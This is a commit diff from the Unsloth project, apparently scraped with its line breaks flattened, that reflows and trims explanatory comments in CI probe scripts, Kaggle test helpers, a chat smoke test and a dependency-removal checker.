Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
Trim comments in tests, scripts, CI helpers and unsloth_cli (#10113)
Daniel Han971eb36f485d
diff --git a/.github/scripts/interrupted_install_probe.py b/.github/scripts/interrupted_install_probe.pyindex b99ce06f823..1ee4a4d109b 100644--- a/.github/scripts/interrupted_install_probe.py+++ b/.github/scripts/interrupted_install_probe.py@@ -75,9 +75,9 @@ def main(argv: list[str]) -> int:ap.add_argument("bin", help = "path to the unsloth CLI")ap.add_argument("--port", type = int, default = 0, help = "0 picks a free port")ap.add_argument("--out", default = "probe", help = "directory for probe artefacts")- # The desktop's own grace, BACKEND_STARTUP_GRACE_PERIOD = 5 min (commands.rs:9): less- # fails a leg the app would wait out. It cannot mask the bug -- a missing import kills- # the backend and the loop breaks on proc.poll(), so this only bounds a LIVE backend.+ # The desktop's own grace, BACKEND_STARTUP_GRACE_PERIOD = 5 min (commands.rs:9): less fails a leg the app would wait+ # out. It cannot mask the bug: a missing import kills the backend and the loop breaks on proc.poll(), so this+ # only bounds a LIVE backend.ap.add_argument("--boot-timeout", type = int, default = 300)a = ap.parse_args(argv)@@ -118,16 +118,15 @@ def main(argv: list[str]) -> int:say("capabilities_ok", caps_rc == 0)say("capabilities_seconds", round(time.time() - t0, 2))- # Parse EXACTLY as the desktop does: managed.rs:414 hands the whole stdout buffer to- # serde_json, which rejects leading or trailing non-JSON, and stderr was already- # discarded at managed.rs:358. Folding stderr in made one warning line enough to fail- # the parse and report FALSE_READY over an install the real app offers to repair.- # "absent" (studio_install_ok predates the install manifest) and "unparseable" split- # only for a readable artefact: the desktop reports Stale for both- # ("desktop_capability_probe_failed", managed.rs:521). The field is Option<bool>- # (managed.rs:43), so serde rejects a non-boolean and the whole payload fails to- # deserialize -> Stale; bool() instead read the JSON string "false" as True and- # reported HEALTHY over a torn install. Only a literal JSON true counts.+ # Parse EXACTLY as the desktop does: managed.rs:414 hands the whole stdout buffer to serde_json, which rejects+ # leading or trailing non-JSON, and stderr was already discarded at managed.rs:358.+ # Folding stderr in made one warning line enough to fail the parse and report FALSE_READY over an install the real+ # app offers to repair.+ # "absent" (studio_install_ok predates the install manifest) and "unparseable" split only for a readable artefact:+ # the desktop reports Stale for both ("desktop_capability_probe_failed", managed.rs:521).+ # The field is Option<bool> (managed.rs:43), so serde rejects a non-boolean and the whole payload fails to+ # deserialize -> Stale; bool() instead read the JSON string "false" as True and reported HEALTHY over a torn+ # install. Only a literal JSON true counts.install_ok: object = "absent"try:parsed = json.loads(caps_out)@@ -145,12 +144,11 @@ def main(argv: list[str]) -> int:install_ok = "unparseable"say("capabilities.studio_install_ok", install_ok)- # The desktop's own conclusion: Ready only on rc 0 plus a true studio_install_ok. The- # predicate is `!= Some(true)` (managed.rs:445), so an ABSENT field is Stale exactly- # like a false one; a CLI too old to answer is rejected one check earlier on- # desktop_manageability_version. Leaving "absent" undecided reported HEALTHY on every- # booting leg and skipped the repair assertion -- the regression- # `unsloth_cli/commands/studio.py` sits in the path filter to catch.+ # The desktop's own conclusion: Ready only on rc 0 plus a true studio_install_ok.+ # The predicate is `!= Some(true)` (managed.rs:445), so an ABSENT field is Stale exactly like a false one;+ # a CLI too old to answer is rejected one check earlier on desktop_manageability_version.+ # Leaving "absent" undecided reported HEALTHY on every booting leg and skipped the repair assertion: the+ # regression `unsloth_cli/commands/studio.py` sits in the path filter to catch.caps_ready = caps_rc == 0 and install_ok is Truesay("desktop_would_call_install_ok", caps_ready)@@ -169,29 +167,28 @@ def main(argv: list[str]) -> int:(out / f"{label}.log").write_text(merged(r), encoding = "utf-8", errors = "replace")say(label, "ok" if r[0] == 0 else "failed")- # The in-progress marker #7490 writes before spawning the installer. RECORDED ONLY:- # both drivers seed it and never clear it, so it is true on every leg by construction,- # and using it in the verdict would make FALSE_READY, the one failing outcome, unreachable.+ # The in-progress marker #7490 writes before spawning the installer.+ # RECORDED ONLY: both drivers seed it and never clear it, so it is true on every leg by construction, and using it+ # in the verdict would make FALSE_READY, the one failing outcome, unreachable.home = Path(os.environ.get("UNSLOTH_STUDIO_HOME") or (Path.home() / ".unsloth" / "studio"))say("install_in_progress_marker", (home / ".desktop-install-in-progress").exists())# ── ground truth: does the backend actually boot? ────────────────────────- # Own the whole process tree: the CLI spawns uvicorn/python children that would hold the- # port and hang the next leg's probe. Same reason the driver kills the group.+ # Own the whole process tree: the CLI spawns uvicorn/python children that would hold the port and hang the next+ # leg's probe. Same reason the driver kills the group.popen_kw: dict = {}if os.name == "posix":popen_kw["start_new_session"] = Trueelse:popen_kw["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)- # Straight to the artefact file, never a PIPE: nothing drains a pipe until after the- # polling loop, so a backend whose imports outrun the OS buffer (64 KiB on Linux and- # macOS, one page on Windows) blocks BEFORE binding the port, and backend_ok -- what- # the verdict pivots on -- would be false for a perfectly good install.+ # Straight to the artefact file, never a PIPE: nothing drains a pipe until after the polling loop, so a backend+ # whose imports outrun the OS buffer (64 KiB on Linux and macOS, one page on Windows) blocks BEFORE binding the+ # port, and backend_ok -- what the verdict pivots on -- would be false for a perfectly good install.blog_path = out / "backend.log"blog_fh = blog_path.open("w", encoding = "utf-8", errors = "replace")# An interrupted install can leave the console script with its venv interpreter gone.- # An unguarded spawn raises, so no verdict.json is written and both workflows die on- # json.load. An unlaunchable CLI is a broken backend that `-h` flags.+ # An unguarded spawn raises, so no verdict.json is written and both workflows die on json.load.+ # An unlaunchable CLI is a broken backend that `-h` flags.proc = Nonetry:proc = subprocess.Popen(@@ -226,8 +223,8 @@ def main(argv: list[str]) -> int:if os.name == "posix":import signal- # start_new_session made this child its own group leader. Read the pgid BEFORE- # the reap: once waited on, os.getpgid() raises and escalation hits nothing.+ # start_new_session made this child its own group leader.+ # Read the pgid BEFORE the reap: once waited on, os.getpgid() raises and escalation hits nothing.try:pgid = os.getpgid(proc.pid)except OSError:@@ -242,19 +239,18 @@ def main(argv: list[str]) -> int:breakexcept subprocess.TimeoutExpired:continue- # Unconditional, and to the GROUP, the same escalation interrupt-install.sh- # makes. The leader exits promptly on SIGTERM while a uvicorn worker does not, so- # returning once proc.wait() succeeded left that worker holding the port and venv- # while the repair reinstalled underneath. Signalling an empty group is a no-op.+ # Unconditional, and to the GROUP, the same escalation interrupt-install.sh makes. The leader exits+ # promptly on SIGTERM while a uvicorn worker does not, so returning once proc.wait() succeeded left that+ # worker holding the port and venv while the repair reinstalled underneath. Signalling an empty group is+ # a no-op.try:os.killpg(pgid, signal.SIGKILL)except OSError:passelse:- # On win32 the CLI re-spawns the server as a CHILD and waits on it- # (unsloth_cli/commands/studio.py:1543), and CREATE_NEW_PROCESS_GROUP does not- # make terminate() reach descendants, so killing the wrapper alone leaves the venv- # locked against the repair. taskkill /T takes the tree.+ # On win32 the CLI re-spawns the server as a CHILD and waits on it (unsloth_cli/commands/studio.py:1543),+ # and CREATE_NEW_PROCESS_GROUP does not make terminate() reach descendants, so killing the wrapper alone+ # leaves the venv locked against the repair. taskkill /T takes the tree.run(["taskkill", "/F", "/T", "/PID", str(proc.pid)], timeout = 30)try:proc.wait(timeout = 10)diff --git a/.github/scripts/kaggle_studio_ci/build_kernel.py b/.github/scripts/kaggle_studio_ci/build_kernel.pyindex 6ef1a51ed15..f18765af03d 100644--- a/.github/scripts/kaggle_studio_ci/build_kernel.py+++ b/.github/scripts/kaggle_studio_ci/build_kernel.py@@ -53,18 +53,16 @@ from pathlib import PathDRIVER_SENTINEL = "KAGGLE_STUDIO_CI_DRIVER"PAYLOAD_SENTINEL = "KAGGLE_STUDIO_CI_PAYLOAD"-# Shared with the notebook leg's launcher, which scrapes this prefix out of-# the executed notebook and the kernel log. Keeping it identical is what lets-# .github/scripts/kaggle_t4_ci/launch.py transport this payload's result-# without a line of change.+# Shared with the notebook leg's launcher, which scrapes this prefix out of the executed notebook and the kernel log.+# Keeping it identical is what lets .github/scripts/kaggle_t4_ci/launch.py transport this payload's result without a+# line of change.RESULT_PREFIX = "T4_SMOKE_REPORT "PAYLOAD_NOTEBOOK = "studio_gpu.ipynb"OUTPUT_NOTEBOOK = "studio_gpu_output.ipynb"-# Files the payload directory has to contain. Checked at build time so a-# rename that breaks the kernel fails on the runner, in seconds, rather than-# forty minutes into a GPU session.+# Files the payload directory has to contain. Checked at build time so a rename that breaks the kernel fails on the+# runner, in seconds, rather than forty minutes into a GPU session.PAYLOAD_FILES = ("run_studio_gpu.py","gpu_assert.py",@@ -73,10 +71,9 @@ PAYLOAD_FILES = ()-# Runs under the Unsloth venv's interpreter and reports what is actually-# importable there. Kept as a plain constant rather than spliced into a-# generated f-string cell: the notebook leg lost a whole GPU session to a-# cell that had been assembled out of nested quoting and did not parse.+# Runs under the Unsloth venv's interpreter and reports what is actually importable there. Kept as a plain constant+# rather than spliced into a generated f-string cell: the notebook leg lost a whole GPU session to a cell that had been+# assembled out of nested quoting and did not parse._PROBE_SCRIPT = """import importlib, jsonout = {"versions": {}, "missing": []}diff --git a/.github/scripts/kaggle_studio_ci/collect_evidence.py b/.github/scripts/kaggle_studio_ci/collect_evidence.pyindex 5d592d91978..20525e85fdc 100644--- a/.github/scripts/kaggle_studio_ci/collect_evidence.py+++ b/.github/scripts/kaggle_studio_ci/collect_evidence.py@@ -154,8 +154,8 @@ def main() -> int:missing = [i for i in range(1, total + 1) if i not in chunks]if missing:- # Report rather than guess. A bundle reassembled out of a truncated- # log decodes to something, and that something is not the evidence.+ # A bundle reassembled from a truncated log decodes to something, and that something is not the evidence.+ # Report rather than guess.print(f"[evidence] {len(missing)} of {total} chunks are missing "f"(first: {missing[0]}), so the bundle is incomplete and is not "diff --git a/.github/scripts/kaggle_t4_ci/check_steps.py b/.github/scripts/kaggle_t4_ci/check_steps.pyindex 02ca4141e84..1222cc92163 100644--- a/.github/scripts/kaggle_t4_ci/check_steps.py+++ b/.github/scripts/kaggle_t4_ci/check_steps.py@@ -202,14 +202,12 @@ def main() -> int:_out("stand_down", "true" if stand_down else "false")_out("reason", reason)- # The PARSED value, for everything downstream, so that the one place which- # normalises the dispatched string is the one place that validated it.- # parse_steps deliberately accepts "+10", "010" and surrounding whitespace- # as the ten they are, and the payload's argparse agrees, so the build step- # comparing the raw string against the reference's count used to read those- # as a different run and drop the reference band from it: a green run with- # the committed band never applied, announced as a step count that was not- # actually different. The reference's own count comes from here too, for+ # The PARSED value, for everything downstream, so that the one place which normalises the dispatched string is the+ # one place that validated it.+ # parse_steps deliberately accepts "+10", "010" and surrounding whitespace as the ten they are, and the payload's+ # argparse agrees, so the build step comparing the raw string against the reference's count used to read those as+ # a different run and drop the reference band from it: a green run with the committed band never applied,+ # announced as a step count that was not actually different. The reference's own count comes from here too, for# the same reason -- one definition, the payload's.steps = parse_steps(args.max_steps)if steps is not None:diff --git a/.github/scripts/kaggle_t4_ci/report.py b/.github/scripts/kaggle_t4_ci/report.pyindex 7f727eb2b97..c397c649fd6 100644--- a/.github/scripts/kaggle_t4_ci/report.py+++ b/.github/scripts/kaggle_t4_ci/report.py@@ -152,8 +152,7 @@ def render(report: dict) -> list[str]:config = report.get("config", {})if config:- # max_steps is up front: it decides whether the committed reference- # applies to this run at all.+ # max_steps is up front: it decides whether the committed reference applies to this run at all.lines.append(f"Config: max_steps `{config.get('max_steps')}` - lr "f"`{config.get('learning_rate')}` - batch "@@ -218,10 +217,7 @@ def render(report: dict) -> list[str]:lines.append(f"Reference band: **{status}** - {ref['note']}")else:lines.append(f"Reference band: **{status}** - {ref.get('deviations')}")- # What the band did NOT compare, up front rather than buried in the- # evidence. A key the reference predates is skipped, not refused ("it- # does not say" is not "it differs"), but an invisible skip reads as a- # check that ran, and a pin can sit unchecked for months that way.+ # What the band did NOT compare, up front rather than buried in the evidence.unchecked = ref.get("config_unchecked")if unchecked:lines.append(@@ -296,8 +292,8 @@ def render(report: dict) -> list[str]:history = report.get("log_history")if history:- # GRPO: loss is ~0 by construction at num_iterations=1 and beta=0, so- # reward and reward_std are what is worth showing.+ # GRPO: loss is ~0 by construction at num_iterations=1 and beta=0, so reward and reward_std are what is worth+ # showing.lines += ["| step | reward | reward_std |", "| --- | --- | --- |"]for entry in history:if entry.get("reward") is None:@@ -344,8 +340,8 @@ def kernel_log_text(evidence: Path) -> str:directly shows a wall of JSON with one word of message per line."""chunks = []- # rglob: a run is several kernels, each collecting into its own directory,- # so there is no single kernel.log any more.+ # rglob: a run is several kernels, each collecting into its own directory, so there is no single kernel.log any+ # more.for path in sorted(evidence.rglob("kernel.log")):raw = path.read_text(encoding = "utf-8", errors = "replace")try:diff --git a/.github/scripts/studio_smoke/multi_turn_chat.py b/.github/scripts/studio_smoke/multi_turn_chat.pyindex a5ddd839f61..d102d2835d1 100644--- a/.github/scripts/studio_smoke/multi_turn_chat.py+++ b/.github/scripts/studio_smoke/multi_turn_chat.py@@ -34,10 +34,9 @@ import urllib.requestSEED = 3407MAX_TOKENS = 80-# How many times the two-replay comparison may be re-run before a disagreement is-# called a real fault. See main(): the retry lives there, NOT in check(), so-# check()'s contract is unchanged and a divergence handed to it is still a hard-# failure every time.+# How many times the two-replay comparison may be re-run before a disagreement is called a real fault. See main():+# the retry lives there, NOT in check(), so check()'s contract is unchanged and a divergence handed to it is still a+# hard failure every time.ATTEMPTS = 3@@ -50,16 +49,12 @@ class Nondeterministic(AssertionError):"""-# Turn 2 cannot be answered without turn 1, and turn 4 without turn 3, so a server that-# drops history fails here rather than returning something plausible.-#-# Turn 2 asks for the ANSWER, not the question. gemma-3-270m-it answers "What did I ask-# before?" with "I am doing well! How can I help you today?" whether or not the history is-# attached, so that phrasing probes nothing.-#-# 58+27 rather than 1+1 so the answer cannot be guessed. Deriving the expected value from-# turn 1 is only worth anything if turn 1 is unpredictable: with a fixed 1+1 it reduces to-# hardcoding "2", which a history-less server can produce by luck.+# Turn 2 cannot be answered without turn 1, and turn 4 without turn 3, so a server that drops history fails here rather+# than returning something plausible.+# Turn 2 asks for the ANSWER, not the question: gemma-3-270m-it answers "What did I ask before?" with "I am doing+# well! How can I help you today?" whether or not the history is attached, so that phrasing probes nothing.+# 58+27 rather than 1+1 so the answer cannot be guessed: deriving the expected value from turn 1 is only worth+# anything if turn 1 is unpredictable.PROMPTS = ["What is 58+27?","What was the answer to my previous question?",@@ -160,10 +155,10 @@ def run_anthropic() -> list[str]:BASE, KEY = _server()# Two SDK quirks against Unsloth:- # 1. base_url must NOT include /v1 -- the SDK appends /v1/messages itself, and a- # base_url that already has it hits /v1/v1/messages and 405s.- # 2. The SDK sends x-api-key by default, but Unsloth's auth layer is HTTPBearer- # only, so Authorization has to be set through default_headers instead.+ # 1. base_url must NOT include /v1 -- the SDK appends /v1/messages itself, and a base_url that already has it+ # hits /v1/v1/messages and 405s.+ # 2. The SDK sends x-api-key by default, but Unsloth's auth layer is HTTPBearer only, so Authorization has to be+ # set through default_headers instead.client = Anthropic(base_url = BASE,api_key = "unused",@@ -189,19 +184,12 @@ def run_anthropic() -> list[str]:def check(label: str, first: list[str], second: list[str]) -> None:for i, (a, b) in enumerate(zip(first, second), start = 1):print(f"[{label} turn {i}] {a!r}")- # BOTH runs, not just the first. Stripping makes the comparison below blind to- # the difference between "\n" and "": a second run that returned nothing at all- # would compare equal to a first that returned only tolerated whitespace, and the- # smoke test would print OK for a server that had stopped answering. The Linux- # copy asserted both before this was consolidated; the macOS one it was taken- # from asserted only the first.+ # BOTH runs, not just the first.assert a, f"{label}: empty turn {i} response in the first run"assert b, f"{label}: empty turn {i} response in the second run"- # Compared stripped: llama-server varies trailing whitespace (a final newline)- # between otherwise identical greedy runs, depending on the batch-flush boundary- # at which the stream is closed. The generated tokens are the same; only that- # whitespace differs. The raw repr stays in the message so a real divergence is- # still legible.+ # Compared stripped: llama-server varies trailing whitespace (a final newline) between otherwise identical+ # greedy runs, depending on the batch-flush boundary at which the stream is closed. The generated tokens are the+ # same; only that whitespace differs. The raw repr stays in the message so a real divergence is still legible.if a.strip() != b.strip():raise Nondeterministic(f"{label} non-deterministic at turn {i} with temperature=0.0:\n"@@ -210,18 +198,15 @@ def check(label: str, first: list[str], second: list[str]) -> None:numbers = re.findall(r"\d+", first[0])assert numbers, f"{label}: turn-1 answer should contain a number, got {first[0]!r}"- # History grounding is asserted on the LAST turn, per turn. "Repeat the city name"- # names no city, so 'Paris' can only have come from turn 3, and a server that kept- # only the latest turn answers "Okay, I'm ready." -- measured against llama-server- # b10360 on the UD-Q4_K_XL file the workflow loads.+ # History grounding is asserted on the LAST turn, per turn. "Repeat the city name" names no city, so 'Paris' can+ # only have come from turn 3, and a server that kept only the latest turn answers "Okay, I'm ready." -- measured+ # against llama-server b10360 on the UD-Q4_K_XL file the workflow loads.#- # #10009 asserted this on turn 2 instead, requiring the reply to restate turn 1's- # number, and that is a false failure on macOS: in the same run that turn 2 came- # back "You haven't provided the previous question.", turn 4 answered "The capital- # of France is Paris.", which is only possible with history attached. Whether a- # 270M model phrases a recalled number is a property of the model, not of the- # server's history wiring, so it cannot carry this assertion. #10009's actual- # finding -- that looking for 'paris' in the JOINED transcript proves nothing,+ # #10009 asserted this on turn 2 instead, requiring the reply to restate turn 1's number, and that is a false+ # failure on macOS: in the same run that turn 2 came back "You haven't provided the previous question.", turn 4+ # answered "The capital of France is Paris.", which is only possible with history attached. Whether a 270M model+ # phrases a recalled number is a property of the model, not of the server's history wiring, so it cannot carry+ # this assertion. #10009's actual finding -- that looking for 'paris' in the JOINED transcript proves nothing,# because turn 3 supplies it on its own -- is what the per-turn check below keeps.assert len(first) == len(PROMPTS), f"{label}: expected {len(PROMPTS)} replies, got {len(first)}"assert "paris" in first[-1].lower(), (@@ -236,18 +221,14 @@ def main() -> int:# server was in a configuration that could have avoided one.assert_reproducible_backend()for label, runner in (("openai", run_openai), ("anthropic", run_anthropic)):- # Only a replay disagreement is retried, and only here. Two replays are not two- # identical requests: each turn is built from the reply before it, and the second- # replay meets the server holding cache and slot state the first one left behind,- # so a token the model is near-tied on can land differently without decoding- # being broken. A server that is actually non-deterministic disagrees on every- # attempt and still fails.+ # Only a replay disagreement is retried, and only here. Two replays are not two identical requests: each turn+ # is built from the reply before it, and the second replay meets the server holding cache and slot state the+ # first one left behind, so a token the model is near-tied on can land differently without decoding being+ # broken. A server that is actually non-deterministic disagrees on every attempt and still fails.#- # Deliberately NOT done by softening check(): #5669 turned this assertion into a- # printed warning on the Linux leg and it went unnoticed for three months, so- # every divergence handed to check() is still a hard failure, and every other- # fault -- an empty reply, history not reaching the model -- fails on the first- # attempt without a retry.+ # Deliberately NOT done by softening check(): #5669 turned this assertion into a printed warning on the Linux+ # leg and it went unnoticed for three months, so every divergence handed to check() is still a hard failure,+ # and every other fault -- an empty reply, history not reaching the model -- fails on the first attempt.for attempt in range(1, ATTEMPTS + 1):try:check(label, runner(), runner())diff --git a/scripts/build_prequant_checkpoint.py b/scripts/build_prequant_checkpoint.pyindex bed5147d060..bc5761c6c61 100644--- a/scripts/build_prequant_checkpoint.py+++ b/scripts/build_prequant_checkpoint.py@@ -144,8 +144,8 @@ def main(argv = None) -> int:print(f"error: unknown family '{args.family}'", flush = True)return 2transformer_cls = getattr(diffusers, fam.transformer_class)- # Resolved BEFORE the load, so a rotated build with nowhere resolvable to publish fails in a- # second rather than after the quantise and the multi-gigabyte save.+ # Resolved BEFORE the load, so a rotated build with nowhere resolvable to publish fails in a second rather than+ # after the quantise and the multi-gigabyte save.upload_dest = Noneif args.upload_repo:try:@@ -166,7 +166,8 @@ def main(argv = None) -> int:args.base, subfolder = "transformer", torch_dtype = torch.bfloat16, token = args.hf_token).to("cuda")print(f" quantising in place ({scheme}) ...", flush = True)- # Mirror the runtime exclusions: int8 skips the M=1 modulation projections (torch._int_mm needs M>16) plus per-family ones; family=None bakes linears the runtime rejects.+ # Mirror the runtime exclusions: int8 skips the M=1 modulation projections (torch._int_mm needs M>16) plus+ # per-family ones; family=None bakes linears the runtime rejects.exclude_name_tokens = exclude_tokens_for_scheme(scheme, fam.name)# fp8 / mxfp8 need bf16 weights, so skip non-bf16 Linears; nvfp4 handles fp32. Mirrors the runtime gate.require_bf16 = scheme in _REQUIRE_BF16_SCHEMES@@ -178,8 +179,8 @@ def main(argv = None) -> int:require_bf16 = require_bf16,)- # ConvRot, BEFORE quantize_: rotating the weights is only worth anything if the quantizer then- # sees the rotated distribution. The fqn list is recorded, never re-derived at load time.+ # ConvRot, BEFORE quantize_: rotating the weights is only worth anything if the quantizer then sees the rotated+ # distribution. The fqn list is recorded, never re-derived at load time.rotation: dict = {}if args.convrot_groupsize:from core.inference.diffusion_convrot import (@@ -205,7 +206,6 @@ def main(argv = None) -> int:quantize_(transformer, _make_quant_config(scheme), filter_fn = filter_fn)- # CPU state dict for a portable, GPU-free artifact.state_dict = {k: (v.detach().to("cpu") if hasattr(v, "detach") else v)for k, v in transformer.state_dict().items()@@ -231,8 +231,8 @@ def main(argv = None) -> int:metadata["fp8_granularity"] = FP8_GRANULARITYmetadata.update(rotation)ckpt = {- # v2 when a rotation is baked in, so an Unsloth predating the online half refuses the file- # rather than running the rotated weights against unrotated activations.+ # v2 when a rotation is baked in, so an Unsloth predating the online half refuses the file rather than running+ # the rotated weights against unrotated activations."format": prequant_format_for(metadata),"metadata": metadata,"state_dict": state_dict,diff --git a/scripts/check_frontend_dep_removal.py b/scripts/check_frontend_dep_removal.pyindex b95c4ca7f6d..025023f0d6e 100644--- a/scripts/check_frontend_dep_removal.py+++ b/scripts/check_frontend_dep_removal.py@@ -43,7 +43,6 @@ DEP_FIELDS = ("optionalDependencies",)-# Files where seeing a package name does NOT count as usage.EXPECTED_NOISE_FILES = {"studio/frontend/package.json","studio/frontend/package-lock.json",@@ -51,15 +50,11 @@ EXPECTED_NOISE_FILES = {"studio/backend/core/data_recipe/oxc-validator/package-lock.json",}-# File types where a quoted string can be a module specifier.JS_LIKE_EXT = re.compile(r"\.(ts|tsx|js|jsx|mjs|cjs|html|htm|css|scss|sass|json|jsonc)$")-# Files where JS import patterns could be a real module reference (.mdx is-# real ESM; .md code fences are not).SCRIPT_LIKE_EXT = re.compile(r"\.(ts|tsx|js|jsx|mjs|cjs|mdx)$")STYLE_EXT = re.compile(r"\.(css|scss|sass)$")HTML_EXT = re.compile(r"\.(html|htm)$")TS_LIKE_EXT = re.compile(r"\.(ts|tsx|mts|cts|mdx)$")-# Files where a removed package's CLI binary could be invoked.COMMAND_LIKE_EXT = re.compile(r"(\.(ya?ml|sh|ps1|bat)$|(^|/)Dockerfile[^/]*$)")GREP_INCLUDES = [@@ -217,7 +212,6 @@ def classify(pkg: str, file: str, content: str) -> str | None:return Noneesc = re.escape(pkg)- # Subpath gate: pkg must be followed by quote, `/`, or end-of-string.sub = r"(?:/[^'\"`]*)?"flags_dotall = re.DOTALL | re.MULTILINE@@ -227,64 +221,52 @@ def classify(pkg: str, file: str, content: str) -> str | None:is_html = bool(HTML_EXT.search(file))is_ts = bool(TS_LIKE_EXT.search(file))- # Gate out Python fixtures, Markdown code blocks, shell snippets, etc.is_json = file.endswith(".json") or file.endswith(".jsonc")if not (is_script or is_style or is_html or is_json):return None- # CSS @import first so it doesn't collide with side-effect-import below.if is_style and re.search(rf"@import\s+['\"]{esc}{sub}['\"]", content):return "css_import"- # Static imports, including multi-line `import { ... } from "pkg"`.if is_script and re.search(rf"(?<!@)\bimport\b[^;'\"]*?\bfrom\s+['\"]{esc}{sub}['\"]",content,flags_dotall,):return "static_import"- # Side-effect import `import "pkg"` (no `from`); lookbehind rules out @import.if is_script and re.search(rf"(?<!@)\bimport\s+['\"]{esc}{sub}['\"]", content):return "side_effect_import"- # Dynamic import: `import("pkg")` and `await import("pkg")`.if is_script and re.search(rf"\bimport\(\s*['\"]{esc}{sub}['\"]\s*\)", content):return "dynamic_import"- # require / require.resolveif is_script and re.search(rf"\brequire(?:\.resolve)?\(\s*['\"]{esc}{sub}['\"]\s*\)", content):return "require"- # Re-exports: `export * from`, `export { x } from`, `export type { Foo } from`.if is_script and re.search(rf"\bexport\b[^;'\"]*?\bfrom\s+['\"]{esc}{sub}['\"]",content,flags_dotall,):return "re_export"- # HTML script / link. Match pkg as a complete path segment so- # `/node_modules/foo-extra/...` is not treated as usage of `foo`.+ # HTML script / link. Match pkg as a complete path segment so `/node_modules/foo-extra/...` is not treated as+ # usage of `foo`.html_pkg = rf"{esc}(?:/[^'\"#?]*)?(?=['\"#?])"if is_html and re.search(rf"<script[^>]*src\s*=\s*['\"][^'\"]*/{html_pkg}", content):return "html_script"if is_html and re.search(rf"<link[^>]*href\s*=\s*['\"][^'\"]*/{html_pkg}", content):return "html_link"- # TypeScript triple-slashif is_ts and re.search(rf"///\s*<reference\s+types\s*=\s*['\"]{esc}{sub}['\"]", content):return "tsc_triple_slash"- # new URL("pkg/...", import.meta.url)if is_script and re.search(rf"\bnew\s+URL\(\s*['\"]{esc}{sub}['\"]", content):return "new_url"- # CSS url(...), quoted and unquoted, bounded so `pkg-extra` doesn't match.if is_style and re.search(rf"\burl\(\s*['\"]?(?:[^)'\"\s]+/)?{esc}(?:/[^)'\"`]*)?['\"]?\s*\)",content,):return "css_url"- # Template literal containing the package as the leading specifierif is_script and re.search(rf"`{esc}{sub}`", content):return "template_literal"- # JSDoc / TS @import comment: `@import("pkg")`if is_script and re.search(rf"@import\(\s*['\"]{esc}{sub}['\"]\s*\)", content):return "jsdoc_import"- # Bare quoted-string fallback (config plugin lists, vite aliases,- # tsconfig paths, biome plugin arrays, shadcn registries).+ # Bare quoted-string fallback (config plugin lists, vite aliases, tsconfig paths, biome plugin arrays, shadcn+ # registries).if not JS_LIKE_EXT.search(file):return None# pkg must be followed by `'`, `"`, or `/` so `foo` doesn't match `foobar`.@@ -332,13 +314,12 @@ def types_orphan_warnings(head_pkg: dict) -> list[str]:for name in decl:if not name.startswith("@types/"):continue- # @types/scope__pkg provides types for @scope/pkg.target = name[len("@types/") :]if "__" in target:scope, sub = target.split("__", 1)target = f"@{scope}/{sub}"if target == "node":- continue # Node.js types are always implicit+ continueif target not in decl:warnings.append(f"@types/{target.replace('@', '').replace('/', '__')} present but '{target}' is not declared"@@ -417,7 +398,6 @@ def package_json_extra_refs(pkg: dict, target: str) -> list[str]:continueif path == "" and k in _PKG_JSON_OPAQUE_KEYS:continue- # Inside overrides/resolutions/etc., the KEY is a package ref.if matches(k):cites.append(f"{path}.{k}" if path else k)walk(v, f"{path}.{k}" if path else k)@@ -453,9 +433,8 @@ def build_bin_to_pkg(head_lock: dict) -> dict[str, str]:_SCRIPT_TOKENIZE = re.compile(r"\s*(?:&&|\|\||;|\|(?!\|))\s*")-# Wrappers that delegate to a real CLI in the same shell word list; we skip-# past them and their flags to find the wrapped bin. Script-name wrappers-# (concurrently, npm-run-all, turbo, nx) are excluded: they reference script+# Wrappers that delegate to a real CLI in the same shell word list; we skip past them and their flags to find the+# wrapped bin. Script-name wrappers (concurrently, npm-run-all, turbo, nx) are excluded: they reference script# names, so the real bin lives in the target script's chunk we already tokenize._SCRIPT_WRAPPERS = {"cross-env", "dotenv", "dotenvx", "env-cmd"}_ENV_PREFIX_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")@@ -467,15 +446,14 @@ def _next_real_bin(words: list[str], idx: int) -> str | None:real CLI binary, or None. Bounded by the chunk's word count."""seen_wrappers: set[str] = set()while idx < len(words):- # 1. env-prefix run `FOO=bar BAZ="a b" cmd ...` (shlex pre-collapsed).while idx < len(words) and _ENV_PREFIX_RE.match(words[idx]):idx += 1if idx >= len(words):return Nonefirst = words[idx]- # 2. Package-manager runner (npx/pnpm exec/yarn dlx/bunx): strip and- # continue so the wrapped command re-enters the unwrap loop.+ # Package-manager runner (npx/pnpm exec/yarn dlx/bunx): strip it and continue so the wrapped command+ # re-enters the unwrap loop.if first in {"npx", "pnpx", "bunx"} and idx + 1 < len(words):idx += 1continue@@ -483,7 +461,7 @@ def _next_real_bin(words: list[str], idx: int) -> str | None:idx += 2continue- # 3. Wrapper bin (cross-env, dotenv): skip its flags and env prefixes.+ # Wrapper bin (cross-env, dotenv): skip its flags and env prefixes.bin_token = first.removeprefix("./node_modules/.bin/").removeprefix("node_modules/.bin/")if bin_token in _SCRIPT_WRAPPERS and bin_token not in seen_wrappers:seen_wrappers.add(bin_token)@@ -600,20 +578,15 @@ def enumerate_dep_usage(head_pkg: dict, head_lock: dict) -> dict[str, list]:else:results["type_pkg_orphan"].append(name)continue- # Real-source-usage checkhits = find_usage(name)used = bool(hits)- # CLI usage in shell/workflow/Dockerfile. Skipped for @types/* (no CLI- # binary; the bare-name bin candidate would false-match the runtime).+ # CLI usage in shell/workflow/Dockerfile.if not used and not name.startswith("@types/") and find_command_usage(name):used = True- # Bin scriptsif not used and name in script_refs:used = True- # package.json non-dep field referencesif not used and package_json_extra_refs(head_pkg, name):used = True- # tsconfig compilerOptions.types implicit usageif not used and name in tsc_types:used = Trueif used:@@ -631,8 +604,7 @@ def find_imports_without_decl(head_pkg: dict) -> list[tuple[str, int, str]]:decl = set()for f in DEP_FIELDS:decl.update((head_pkg.get(f) or {}).keys())- # Exclude relative paths and the `@/` alias by requiring the specifier's- # first char to be neither `.` nor `/`. Capture group is the specifier.+ # Exclude relative paths and the `@/` alias by requiring the specifier's first char to be neither `.` nor `/`.pattern = (r"(?:\bfrom\s+|"r"\bimport\s+(?:\(\s*)?|"@@ -658,7 +630,6 @@ def find_imports_without_decl(head_pkg: dict) -> list[tuple[str, int, str]]:file, 